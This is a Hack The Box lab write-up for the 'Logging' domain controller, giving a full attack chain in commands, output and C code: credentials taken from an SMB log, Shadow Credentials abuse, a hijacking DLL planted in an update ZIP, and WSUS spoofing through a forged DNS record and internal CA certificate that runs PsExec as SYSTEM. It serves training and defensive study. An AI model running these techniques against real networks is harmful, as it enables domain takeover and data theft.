Skip to content

HTB Logging writeup

A technical writeup for educational purposes, covering only an authorized, isolated Hack The Box lab.

Logging is a Windows Server 2019 box running as an Active Directory (AD) Domain Controller. Starting with credentials left in a log on an SMB share, I used the GenericWrite relationship found in BloodHound and Shadow Credentials to move to msa_health$. I then replaced a DLL loaded by a scheduled task and read jaylee.clifton’s user flag. Finally, I used an AD CS Server Authentication certificate and a DNS record change to impersonate the Windows Server Update Services (WSUS) server and deliver an update command that ran as SYSTEM.

ItemValue
BoxLogging
PlatformHack The Box
OSWindows
DifficultyMedium
wallace.everette:Welcome2026@ (initial credentials)
|
| SMB Logs share
| IdentitySync log: found svc_recovery's BindPass
v
svc_recovery:Em3rg3ncyPa$$2026 (used with Kerberos)
|
| BloodHound: GenericWrite over msa_health$
| Shadow Credentials
v
msa_health$ NTLM:603fc24ee01a9409f83c9d1d701485c5
|
| WinRM PowerShell shell
v
C:\Users\msa_health$\Documents\monitor.ps1
|
| Examine UpdateChecker Agent
| Place Settings_Update.zip containing a malicious DLL
v
UpdateMonitor.exe -> settings_update.dll -> PreUpdateCheck()
|
| Run as jaylee.clifton
v
Copy C:\Users\jaylee.clifton\Desktop\user.txt
|
| AD CS: request a wsus.logging.htb certificate from the UpdateSrv template
| DNS: wsus.logging.htb -> attacker IP
v
WSUS spoofing (wsuks + Microsoft-signed PsExec64.exe)
|
| DC01 trusts the TLS certificate issued by the internal CA
| Run a malicious update as SYSTEM
v
Copy C:\Users\toby.brynleigh\Desktop\root.txt
  • Domain: logging.htb
  • Host: DC01.logging.htb

I added the following to /etc/hosts.

10.129.21.74 logging.htb DC01.logging.htb DC01

I ran nmap against all ports.

Terminal window
nmap -sS -A -p- --min-rate 10000 10.129.21.74 > logging.nmap

The important output is shown below.

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
5985/tcp open http Microsoft HTTPAPI httpd 2.0
8530/tcp open http Microsoft IIS httpd 10.0
8531/tcp open ssl/unknown
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0
Device type: general purpose
Running: Microsoft Windows 2019
Service Info: Host: DC01; OS: Windows
Host script results:
|_clock-skew: mean: 6h59m59s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required

The points to note are:

  • Ports 53, 88, 389, 445, 636, 3268, and 3269 were open, indicating an AD Domain Controller.
  • With 5985 open, valid credentials could enable interactive access over WinRM.
  • 8530/8531 are commonly used for WSUS. WSUS distributes and approves Microsoft updates internally and matters for the later root access.
  • SMB signing was required, so NTLM relay was not a direct main path.
  • The scan showed clock-skew: +7h. If Kerberos returns KRB_AP_ERR_SKEW, check the attacking machine’s clock synchronization.

The following credentials were provided at the start of this box.

logging.htb\wallace.everette:Welcome2026@

I began subsequent SMB/LDAP enumeration with this account.

I enumerated domain users.

Terminal window
netexec smb 10.129.21.74 -u wallace.everette -p 'Welcome2026@' --users
[+] logging.htb\wallace.everette:Welcome2026@
-Username- -Last PW Set- -BadPW- -Description-
Administrator 2026-04-16 14:41:53 0
Guest <never> 0
krbtgt 2026-04-16 14:47:15 0
svc_recovery 2026-04-16 23:09:49 0
jaylee.clifton 2026-04-16 23:09:49 0
monique.chip 2026-04-16 23:09:49 0
kyson.abel 2026-04-16 23:09:50 0
fable.milford 2026-04-16 23:09:50 0
wellington.kylan 2026-04-16 23:09:50 0
serina.philander 2026-04-16 23:09:50 0
wallace.everette 2026-04-16 23:09:50 0
toby.brynleigh 2026-04-16 23:09:50 0

RID brute force also showed additional groups and msa_health$.

Terminal window
netexec smb 10.129.21.74 -u wallace.everette -p 'Welcome2026@' --rid-brute
2101: logging\Emergency Recovery (SidTypeGroup)
2102: logging\IT (SidTypeGroup)
2103: logging\HR (SidTypeGroup)
2104: logging\svc_recovery (SidTypeUser)
2105: logging\jaylee.clifton (SidTypeUser)
2111: logging\wallace.everette (SidTypeUser)
2112: logging\toby.brynleigh (SidTypeUser)
2113: logging\msa_health$ (SidTypeUser)
2601: logging\WSUS Administrators (SidTypeAlias)
2602: logging\WSUS Reporters (SidTypeAlias)

LDAP group enumeration showed Remote Management Users, Emergency Recovery, and other groups that might matter for later privilege transitions.

Terminal window
netexec ldap 10.129.21.74 -u wallace.everette -p 'Welcome2026@' --groups
Remote Management Users 1
Certificate Service DCOM Access 1
Emergency Recovery 1
IT 1
HR 1
WSUS Administrators 0
WSUS Reporters 0

I checked the shares.

Terminal window
netexec smb 10.129.21.74 -u wallace.everette -p 'Welcome2026@' --shares
Share Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
C$ Default share
IPC$ READ Remote IPC
Logs READ
NETLOGON READ Logon server share
SYSVOL READ Logon server share
WSUSTemp A network share used by Local Publishing from a Remote WSUS Console Instance.

Because the Logs share was readable, I inspected its log files first.

Terminal window
smbclient //logging.htb/Logs -U wallace.everette%Welcome2026@
smb: \> dir
Audit_Heartbeat.log
IdentitySync_Trace_20260219.log
Service_State.log
TaskMonitor.log
smb: \> get Audit_Heartbeat.log
smb: \> get IdentitySync_Trace_20260219.log
smb: \> get Service_State.log
smb: \> get TaskMonitor.log

IdentitySync_Trace_20260219.log contained LDAP bind credentials.

ConnectionContext Dump: { Domain: "logging.htb", Server: "DC01", SSL: "False",
BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025", Timeout: 30 }
...
ERROR - System.DirectoryServices.Protocols.LdapException: A local error occurred.
Server error: 8009030C: LdapErr: DSID-0C090569, comment: AcceptSecurityContext error, data 52e, v4563
Hex Error: 0x31 (LDAP_INVALID_CREDENTIALS)
Win32 Error: 49 (Invalid Credentials)

BindPass was recorded as Em3rg3ncyPa$$2025, but the log showed LDAP invalid credentials. The supplied initial password was Welcome2026@, and the log and test dates were in 2026, making it worth trying a 2026 year suffix instead.

SMB authentication failed with the original 2025 suffix.

Terminal window
netexec smb 10.129.21.74 -u svc_recovery -p 'Em3rg3ncyPa$$2025'
[-] logging.htb\svc_recovery:Em3rg3ncyPa$$2025 STATUS_ACCOUNT_RESTRICTION

Changing it to 2026 allowed me to obtain a TGT.

Terminal window
uv run getTGT.py 'logging.htb/svc_recovery:Em3rg3ncyPa$$2026'
export KRB5CCNAME=svc_recovery.ccache
[*] Saving ticket in svc_recovery.ccache

At this point, I could authenticate with Kerberos as svc_recovery.

I also checked the Protected Users group and found svc_recovery and Administrator as members.

Terminal window
ldapsearch -LLL -H ldap://logging.htb \
-D 'wallace.everette@logging.htb' -w 'Welcome2026@' \
-b 'DC=logging,DC=htb' \
'(cn=Protected Users)' member
dn: CN=Protected Users,CN=Users,DC=logging,DC=htb
member: CN=svc_recovery,CN=Users,DC=logging,DC=htb
member: CN=Administrator,CN=Users,DC=logging,DC=htb

BloodHound likewise showed Administrator and svc_recovery@logging.htb as members of PROTECTED USERS@LOGGING.HTB. Protected Users restricts legacy authentication such as NTLM, so using a Kerberos TGT and ccache for svc_recovery made more sense than moving laterally with a password-based authentication path. By contrast, the later msa_health$ WinRM session showed NT AUTHORITY\NTLM Authentication in whoami /groups, and connecting with an NTLM hash succeeded.

I collected AD data with RustHound-CE.

Terminal window
rusthound-ce -d logging.htb -u 'wallace.everette' -p 'Welcome2026@' -c All --zip
[INFO] Connected to LOGGING.HTB Active Directory!
[INFO] 14 users parsed!
[INFO] 65 groups parsed!
[INFO] 1 computers parsed!
[INFO] 1 enterprisecas parsed!
[INFO] 34 certtemplates parsed!
.//20260630053633_logging-htb_rusthound-ce.zip created!

The important BloodHound relationships were:

  • svc_recovery has GenericWrite over msa_health$
  • wallace.everette could Enroll with LOGGING-DC01-CA.
  • An AD CS Enterprise CA and certificate template existed.

With GenericWrite, I could add Shadow Credentials to msa_health$ and obtain authentication material for that account.

Initial Foothold: Shadow Credentials to msa_health$

Section titled “Initial Foothold: Shadow Credentials to msa_health$”

I used the svc_recovery ccache to add Shadow Credentials to msa_health$.

Terminal window
uv run bloodyAD --host DC01.logging.htb -d logging.htb -k --dc-ip 10.129.21.74 -u svc_recovery add shadowCredentials msa_health$
[+] KeyCredential generated with following sha256 of RSA key: b0d65b72d3110a67a03863d1c1acaaa41cbcabc5549ac82c50d2dbb4dfbb128c
[+] TGT stored in ccache file msa_health_Hs.ccache
NT: 603fc24ee01a9409f83c9d1d701485c5

I entered WinRM with the obtained NTLM hash.

Terminal window
uv run evil-winrm-py -i logging.htb -u 'msa_health$' -H '603fc24ee01a9409f83c9d1d701485c5'
[*] Connecting to 'logging.htb:5985' as 'msa_health$'
evil-winrm-py PS C:\Users\msa_health$\Documents> whoami
logging\msa_health$

Under C:\Users, I found users who appeared likely to have flags.

Terminal window
ls ../..
Directory: C:\Users
Administrator
jaylee.clifton
msa_health$
Public
toby.brynleigh

msa_health$ had monitor.ps1 in its Documents directory.

Terminal window
dir
more monitor.ps1
Directory: C:\Users\msa_health$\Documents
-a---- 4/17/2026 9:02 AM 1059 monitor.ps1
Terminal window
$TaskName = "UpdateChecker Agent"
$LogPath = "C:\Share\Logs\TaskMonitor.log"
...
$service = New-Object -ComObject "Schedule.Service"
$service.Connect()
$task = $service.GetFolder("\").GetTask($TaskName)
...
Add-Content -Path $LogPath -Value $Message

The script monitored a scheduled task named UpdateChecker Agent. I examined the task itself through COM.

Terminal window
$service = New-Object -ComObject "Schedule.Service"
$service.Connect()
$task = $service.GetFolder("\").GetTask("UpdateChecker Agent")
$task.Definition.Actions | ForEach-Object {
[pscustomobject]@{
Type = $_.Type
Path = $_.Path
Arguments = $_.Arguments
WorkingDirectory = $_.WorkingDirectory
}
}
$task.Definition.Principal
Type Path Arguments WorkingDirectory
---- ---- --------- ----------------
0 "C:\Program Files\UpdateMonitor\UpdateMonitor.exe" 500 /scan=3 /autofix=true
Id : Author
UserId : jaylee.clifton
LogonType : 1
RunLevel : 0

UpdateChecker Agent ran UpdateMonitor.exe as jaylee.clifton. The observed behavior followed this sequence:

Download Settings_Update.zip from WSUS
Extract it to bin\
LoadLibrary("settings_update.dll")
GetProcAddress("PreUpdateCheck")
Call PreUpdateCheck()

In C:\ProgramData\UpdateMonitor\Logs\monitor.log, UpdateMonitor.exe looked for Settings_Update.zip and attempted to load settings_update.dll even when the ZIP was absent; that attempt failed.

Terminal window
more C:\ProgramData\UpdateMonitor\Logs\monitor.log
[2026-06-29 14:47:15] Checking for update on core server...
[2026-06-29 14:47:15] Info: Core did not find file Settings_Update.zip
[2026-06-29 14:47:15] Last status: File not found on core
[2026-06-29 14:47:15] Checking for update on local server...
[2026-06-29 14:47:15] No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.
[2026-06-29 14:47:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
[2026-06-29 14:47:15] Failed to load settings_update.dll. Error code: 126

This showed that placing Settings_Update.zip containing settings_update.dll in C:\ProgramData\UpdateMonitor could make the legitimate update process extract and load the DLL.

I checked the relevant ACLs as well.

output, _, _ = client.execute_ps("icacls 'C:\\Program Files\\UpdateMonitor\\bin'")
print(output)
output, _, _ = client.execute_ps("icacls 'C:\\ProgramData\\UpdateMonitor'")
print(output)
C:\Program Files\UpdateMonitor\bin logging\IT:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(RX)
...
C:\ProgramData\UpdateMonitor NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA)

Users could write to C:\ProgramData\UpdateMonitor. Placing Settings_Update.zip there would therefore let the task extract and load the DLL when it ran.

From a DLL running as jaylee.clifton, I copied the user flag to a readable location.

settings_update.c
#include <windows.h>
__declspec(dllexport) void PreUpdateCheck() {
CopyFileA("C:\\Users\\jaylee.clifton\\Desktop\\user.txt",
"C:\\ProgramData\\UpdateMonitor\\Logs\\user_flag.txt", FALSE);
}
BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID l) {
return TRUE;
}

I built the DLL and packaged it as a ZIP file.

Terminal window
i686-w64-mingw32-gcc -shared -static -o settings_update.dll settings_update.c -lkernel32
zip Settings_Update.zip settings_update.dll
adding: settings_update.dll (deflated 64%)

I placed it through WinRM and waited for the task to run.

Terminal window
upload Settings_Update.zip "C:\ProgramData\UpdateMonitor\Settings_Update.zip"
icacls C:\ProgramData\UpdateMonitor\Settings_Update.zip /grant 'Everyone:F'
[+] File uploaded successfully as: C:\ProgramData\UpdateMonitor\Settings_Update.zip
processed file: C:\ProgramData\UpdateMonitor\Settings_Update.zip
Successfully processed 1 files; Failed processing 0 files

After execution, user_flag.txt appeared at the destination.

Terminal window
dir C:\ProgramData\UpdateMonitor\Logs
more C:\ProgramData\UpdateMonitor\Logs\monitor.log
Directory: C:\ProgramData\UpdateMonitor\Logs
-a---- 6/29/2026 2:50 PM 76068 monitor.log
-ar--- 6/29/2026 12:40 PM 34 user_flag.txt
[2026-06-29 14:50:15] Successfully unzipped update to C:\Program Files\UpdateMonitor\bin\
[2026-06-29 14:50:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
[2026-06-29 14:50:15] Calling 'PreUpdateCheck' in settings_update.dll
[2026-06-29 14:50:15] Update check completed.

This yielded the contents of C:\Users\jaylee.clifton\Desktop\user.txt at C:\ProgramData\UpdateMonitor\Logs\user_flag.txt.

The root path combined AD CS and WSUS. The UpdateSrv template had ENROLLEE_SUPPLIES_SUBJECT enabled, letting the requester specify a Subject/SAN. Its only EKU was Server Authentication; it did not have Client Authentication.

These approaches were therefore unsuitable:

  • Authenticate as a user through Kerberos PKINIT
  • Impersonate a user through Schannel LDAP certificate mapping

Using it as a Server Authentication certificate was the natural path. If DC01 trusted https://wsus.logging.htb:8531/ as WSUS, a TLS certificate for wsus.logging.htb issued by the internal CA, a DNS record change, and a malicious WSUS server could deliver command execution through Windows Update.

WSUS stands for Windows Server Update Services. It distributes update metadata and files to Windows Update Clients within an organization. Clients connect to the WUServer specified by Group Policy or the registry and, for HTTPS, validate the certificate name and trust chain. Here, obtaining an internally issued TLS certificate for wsus.logging.htb and redirecting DNS to the attacking machine let it respond to DC01’s Windows Update Client as a legitimate WSUS server.

I also checked AD CS with certipy find.

Terminal window
certipy find -u 'wallace.everette@logging.htb' -p 'Welcome2026@' \
-dc-ip 10.129.21.74 -target DC01.logging.htb \
-enabled -stdout
Certificate Authorities
0
CA Name : logging-DC01-CA
DNS Name : DC01.logging.htb
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Access Rights
Enroll : LOGGING.HTB\Authenticated Users
Certificate Templates
0
Template Name : UpdateSrv
Display Name : UpdateSrv
Certificate Authorities : logging-DC01-CA
Enabled : True
Client Authentication : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Authorized Signatures Required : 0
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : LOGGING.HTB\IT
LOGGING.HTB\Domain Admins
LOGGING.HTB\Enterprise Admins

This output showed that Authenticated Users could Enroll on the CA, while the UpdateSrv template granted Enroll to LOGGING.HTB\IT. UpdateChecker Agent ran as jaylee.clifton, and the earlier ACL showed logging\IT had FullControl on UpdateMonitor\bin. This was consistent with requesting an UpdateSrv certificate through certreq from jaylee.clifton’s execution context.

Checking the WSUS configuration and execution context

Section titled “Checking the WSUS configuration and execution context”

The msa_health$ token included Remote Management Users, needed for the WinRM connection, and the certificate-related Certificate Service DCOM Access group.

Terminal window
whoami
whoami /groups
whoami /priv
logging\msa_health$
Group Name Type SID Attributes
=========================================== ================ ============================================= ==================================================
logging\Domain Computers Group S-1-5-21-4020823815-2796529489-1682170552-515 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

I also checked the Windows Update service (wuauserv) and the WSUS registry settings.

Terminal window
cmd /c "sc.exe query wuauserv"
reg query "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate"
SERVICE_NAME: wuauserv
TYPE : 30 WIN32
STATE : 2 START_PENDING
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
AcceptTrustedPublisherCerts REG_DWORD 0x1
WUServer REG_SZ https://wsus.logging.htb:8531
WUStatusServer REG_SZ https://wsus.logging.htb:8531
UpdateServiceUrlAlternate REG_SZ https://wsus.logging.htb:8531
SetProxyBehaviorForUpdateDetection REG_DWORD 0x0

This confirmed that DC01’s Windows Update Client referenced https://wsus.logging.htb:8531.

I first created a private key and CSR.

Terminal window
openssl genrsa -out wsus.key 2048
cat > wsus_csr.cnf << 'EOF'
[req]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn
req_extensions = v3_req
[dn]
CN = wsus.logging.htb
[v3_req]
subjectAltName = DNS:wsus.logging.htb
1.3.6.1.4.1.311.21.7 = ASN1:SEQUENCE:template_info
[template_info]
templateID = OID:1.3.6.1.4.1.311.21.8.12353791.10602463.14107544.5621390.7746408.154.13283525.179965
templateMajorVersion = INTEGER:100
templateMinorVersion = INTEGER:3
EOF
openssl req -new -key wsus.key -out wsus.csr -config wsus_csr.cnf

I also generated a self-signed certificate along the way, but the attack required a certificate issued by the internal CA. The final wsus.pem combined the later CA-signed wsus.cer with wsus.key.

I placed the CSR on the target and called certreq from the DLL running as jaylee.clifton.

Terminal window
upload wsus.csr "C:\ProgramData\UpdateMonitor\wsus.csr"
icacls C:\ProgramData\UpdateMonitor\wsus.csr /grant 'Everyone:F'
Uploading wsus.csr: 100%
[+] File uploaded successfully as: C:\ProgramData\UpdateMonitor\wsus.csr
processed file: C:\ProgramData\UpdateMonitor\wsus.csr
Successfully processed 1 files; Failed processing 0 files

The DLL was as follows.

settings_update.c
#include <windows.h>
#include <stdlib.h>
__declspec(dllexport) void PreUpdateCheck() {
system("certreq -submit -config \"DC01.logging.htb\\logging-DC01-CA\" "
"-attrib \"CertificateTemplate:UpdateSrv\" "
"C:\\ProgramData\\UpdateMonitor\\wsus.csr "
"C:\\ProgramData\\UpdateMonitor\\wsus.cer");
}
BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID l) { return TRUE; }

I built it and placed it again as Settings_Update.zip.

Terminal window
i686-w64-mingw32-gcc -shared -static -o settings_update.dll settings_update.c -lkernel32
zip Settings_Update.zip settings_update.dll
Terminal window
upload Settings_Update.zip "C:\ProgramData\UpdateMonitor\Settings_Update.zip"
icacls C:\ProgramData\UpdateMonitor\Settings_Update.zip /grant 'Everyone:F'
icacls C:\ProgramData\UpdateMonitor\wsus.csr /grant 'Everyone:F'

After the task ran, certreq created C:\ProgramData\UpdateMonitor\wsus.cer.

Terminal window
download C:\ProgramData\UpdateMonitor\wsus.cer wsus.cer
[+] File downloaded successfully and saved as: wsus.cer

I pointed wsus.logging.htb at the attacking machine’s VPN IP.

In AD-integrated DNS, zones and records are stored as AD objects under DomainDnsZones. Reading the logging.htb zone DACL showed CreateChild granted to Authenticated Users.

Terminal window
impacket-dacledit -action read \
-target-dn 'DC=logging.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=logging,DC=htb' \
'logging.htb/wallace.everette:Welcome2026@' \
-dc-ip 10.129.21.74
[*] Parsing DACL
[*] Printing parsed DACL
[*] ACE[0] info
[*] Access mask : FullControl (0xf01ff)
[*] Trustee (SID) : Domain Admins
[*] ACE[1] info
[*] Access mask : CreateChild (0x1)
[*] Trustee (SID) : Authenticated Users (S-1-5-11)
[*] ACE[2] info
[*] Access mask : Read (0x20094)
[*] Trustee (SID) : Everyone (S-1-1-0)
[*] ACE[5] info
[*] Access mask : WriteOwner, WriteDACL, ReadControl, Delete, AllExtendedRights, DeleteTree, WriteProperties, ReadProperties, Self, ListChildObjects, DeleteChild, CreateChild (0xf017f)
[*] Trustee (SID) : DnsAdmins

Because wallace.everette was authenticated as a member of Authenticated Users, it could create a wsus child record in this zone. That explains why bloodyAD add dnsRecord succeeded.

Terminal window
bloodyAD -d logging.htb -H DC01.logging.htb -i 10.129.21.74 \
-u wallace.everette -p 'Welcome2026@' add dnsRecord wsus 10.10.16.45
[+] Adding "wsus" to "DC=logging.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=logging,DC=htb"
[+] wsus has been successfully added

I checked name resolution.

Terminal window
nslookup wsus.logging.htb 10.129.21.74
Name: wsus.logging.htb
Address: 10.10.16.45

I combined the obtained certificate and private key.

Terminal window
cat wsus.cer wsus.key > wsus.pem

I started the WSUS server with wsuks. It delivered Microsoft-signed PsExec64.exe to copy the root flag to a readable location as SYSTEM.

Terminal window
sudo env "PATH=$PATH" wsuks --serve-only --tls-cert wsus.pem -I tun0 \
-e PsExec64.exe \
-c '-accepteula -s cmd.exe /c "type C:\Users\toby.brynleigh\Desktop\root.txt > C:\ProgramData\UpdateMonitor\root.txt"' \
--debug

The important requirement was to use the Microsoft-signed PsExec64.exe, obtained from https://live.sysinternals.com/.

Representative output follows.

[+] Command to execute:
PsExec64.exe -accepteula -s cmd.exe /c "type C:\Users\toby.brynleigh\Desktop\root.txt > C:\ProgramData\UpdateMonitor\root.txt"
[*] Using TLS certificate 'wsus.pem' for HTTPS WSUS Server
[*] Starting WSUS Server on 10.10.16.45:8531...
[*] Serving executable as KB: 2146576
[+] Received POST request: /ClientWebService/client.asmx
[+] Received GET request: /3f35eca4-1a82-4ffe-b2a4-2ff80abfcbd4/PsExec64.exe
[+] GET request for exe: /3f35eca4-1a82-4ffe-b2a4-2ff80abfcbd4/PsExec64.exe

The log also contained a ConnectionResetError on the first Range request.

ConnectionResetError: [Errno 104] Connection reset by peer
...
[+] Received GET request: /3f35eca4-1a82-4ffe-b2a4-2ff80abfcbd4/PsExec64.exe
Range: bytes=0-833471

That initial small Range request was disconnected, but a later full-range request arrived, so I did not treat it alone as proof of failure. I checked the copied file from WinRM for final confirmation.

Terminal window
dir C:\ProgramData\UpdateMonitor\
type C:\ProgramData\UpdateMonitor\root.txt
Directory: C:\ProgramData\UpdateMonitor
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/29/2026 2:50 PM Logs
-a---- 6/29/2026 4:41 PM 34 root.txt
-a---- 6/29/2026 3:39 PM 28619 Settings_Update.zip
-a---- 6/29/2026 4:39 PM 21 whoami.txt
-a---- 6/29/2026 3:44 PM 2318 wsus.cer
-a---- 6/29/2026 3:39 PM 1050 wsus.csr
-a---- 6/29/2026 3:44 PM 5526 wsus.rsp
[REDACTED]

If wsuks is not working, first check whether the Windows Update Client reaches the attacker-controlled WSUS at the TCP/TLS level.

Terminal window
sudo tcpdump -ni tun0 port 8531

The expected sequence is:

Windows Update Client
|
| SYN
v
WSUS Server
SYN
SYN/ACK
ACK
TLS Handshake
POST /ClientWebService/client.asmx

I used the following distinctions:

StateLikely point of failure
No SYNDNS, WSUS settings, whether Windows Update is running, or the firewall
SYN but no TLSHTTPS certificate, TLS settings, or listener on 8531
SOAP trafficDNS/HTTPS/WSUS/SOAP are broadly working; inspect the WSUS server logs next

For WSUS traffic, the following indicates substantial progress through the communication phase.

GetConfig
GetCookie
SyncUpdates
GetExtendedUpdateInfo
GET PsExec64.exe
ReportEventBatch

Once it reaches this point, the issue is more likely in the execution phase than DNS or TLS: the delivered executable, its Authenticode signature, CommandLineInstallation, or arguments to PsExec64.exe.

Tool choice also matters when distinguishing execution-phase problems. Another comment noted that pywsus could synchronize metadata yet stall during downloads by recent Windows Update Clients, while wsuks was better suited to complete HTTPS update delivery. This was not a direct comparison under identical conditions, so I avoid generalizing it. On this box, wsuks --serve-only --tls-cert wsus.pem reached delivery.

Insufficient privileges may prevent reading the following Windows Update Client event logs on the target.

Microsoft-Windows-WindowsUpdateClient/Operational

Even then, the Windows Update Client sends events to WSUS.

POST /ReportingWebService/ReportingWebService.asmx

The ReportEventBatch SOAP body can therefore serve as an alternative to Event Viewer for inferring how far the update progressed. I treat the EventID meanings below as debugging inferences.

EventIDInferred meaning
147Update started
156Target update selected
167Bundle recognized
162Download started
181Download completed
182Installation completed
183Installation succeeded and applied

Ideally, the following order would show that the update reached completion.

147
↓
156
↓
167
↓
162
↓
181
↓
182
↓
183

A failure returned 0x80246007, and events stopped at approximately the following point.

147
156
167
161
182

This indicates that WSUS communication worked, but successful installation and application had not been reached. On Linux, journalctl is often used for service logs; on Windows, limited rights can prevent reading Event Viewer. ReportEventBatch provided an alternative observation point for this WSUS attack.

  • The password for svc_recovery in the log was Em3rg3ncyPa$$2025, which did not work as-is. The log year, the year pattern in the initial password, and LDAP invalid credentials made trying 2026 the turning point.
  • The UpdateSrv template had only a Server Authentication EKU. Without Client Authentication, using it for PKINIT user authentication was not part of the main path.
  • A ConnectionResetError from wsuks alone was not evidence of failure. Check later GET requests or whether the copied destination file exists.
  • The reliable path was to place C:\ProgramData\UpdateMonitor\Settings_Update.zip for the legitimate task to unpack and load, rather than write directly to C:\Program Files\UpdateMonitor\bin.
  • UpdateMonitor loaded the DLL with LoadLibrary. Repeated task runs might lock the DLL and prevent replacement. A retry might need a machine reset, replacement of the ZIP before the first run, or a different DLL name during a short execution interval.
  • root.txt need not be on Administrator’s Desktop. On this box, the read targeted C:\Users\toby.brynleigh\Desktop\root.txt.

These items should be restored after the exercise.

  • Shadow Credential (msDS-KeyCredentialLink) added to msa_health$
  • DNS record: wsus.logging.htb -> 10.10.16.45
  • C:\ProgramData\UpdateMonitor\Settings_Update.zip
  • C:\ProgramData\UpdateMonitor\wsus.csr
  • C:\ProgramData\UpdateMonitor\wsus.cer
  • C:\ProgramData\UpdateMonitor\root.txt
  • C:\ProgramData\UpdateMonitor\Logs\user_flag.txt
  • Extracted C:\Program Files\UpdateMonitor\bin\settings_update.dll
  • wsus.key, wsus.csr, wsus.cer, wsus.pem, Settings_Update.zip, settings_update.dll, and PsExec64.exe on the attacking machine

Remove the Shadow Credential with the same tool or restore the previous msDS-KeyCredentialLink value. Also delete the DNS record so WSUS name resolution no longer points to the attacking machine.

TypeValue
Domainlogging.htb
DCDC01.logging.htb / 10.129.21.74
Initial userlogging.htb\wallace.everette
Initial passwordWelcome2026@
Recovered userlogging.htb\svc_recovery
Recovered passwordEm3rg3ncyPa$$2026
Shadow Credentials targetlogging.htb\msa_health$
msa_health$ NTLM603fc24ee01a9409f83c9d1d701485c5
User flag pathC:\Users\jaylee.clifton\Desktop\user.txt
User flag copyC:\ProgramData\UpdateMonitor\Logs\user_flag.txt
Root flag pathC:\Users\toby.brynleigh\Desktop\root.txt
Root flag copyC:\ProgramData\UpdateMonitor\root.txt
Malicious update archiveSettings_Update.zip
Malicious DLLsettings_update.dll
WSUS certificate fileswsus.key, wsus.csr, wsus.cer, wsus.pem
WSUS toolwsuks
Update executableMicrosoft-signed PsExec64.exe

The required knowledge is:

  • Basic Active Directory enumeration: SMB / LDAP / Kerberos / BloodHound
  • Using Kerberos TGTs and ccaches
  • Shadow Credentials / msDS-KeyCredentialLink
  • Windows Scheduled Tasks and abuse of the update process through DLL hijacking
  • AD CS certificate template EKUs and ENROLLEE_SUPPLIES_SUBJECT
  • Windows Server Update Services (WSUS) MITM and WSUS spoofing concepts
  • Windows ACLs and DNS record changes

The key point of this box is to avoid taking fragmentary credentials in a log at face value; use the failure reason, naming, and year pattern to form a candidate correction. BloodHound’s rights relationship then becomes a concrete Shadow Credentials attack.

For the user flag, the important insight was to connect a writable directory with the scheduled task’s execution principal. For the root flag, the turning point was to use the AD CS certificate for TLS server impersonation rather than user authentication. A certificate with only the Server Authentication EKU should lead you to look for internal services whose trust depends on TLS, rather than persist with PKINIT or Schannel.

WSUS is particularly valuable as a target. If you can obtain an internally issued certificate for wsus.logging.htb, point DNS to the attacking machine, and return a WSUS response trusted by the Windows Update Client, the update process can lead to code execution as SYSTEM. This box shows how the combination of “DNS write permission + AD CS certificate enrollment + WSUS trust” can lead to root access even though none of the settings alone appears decisive.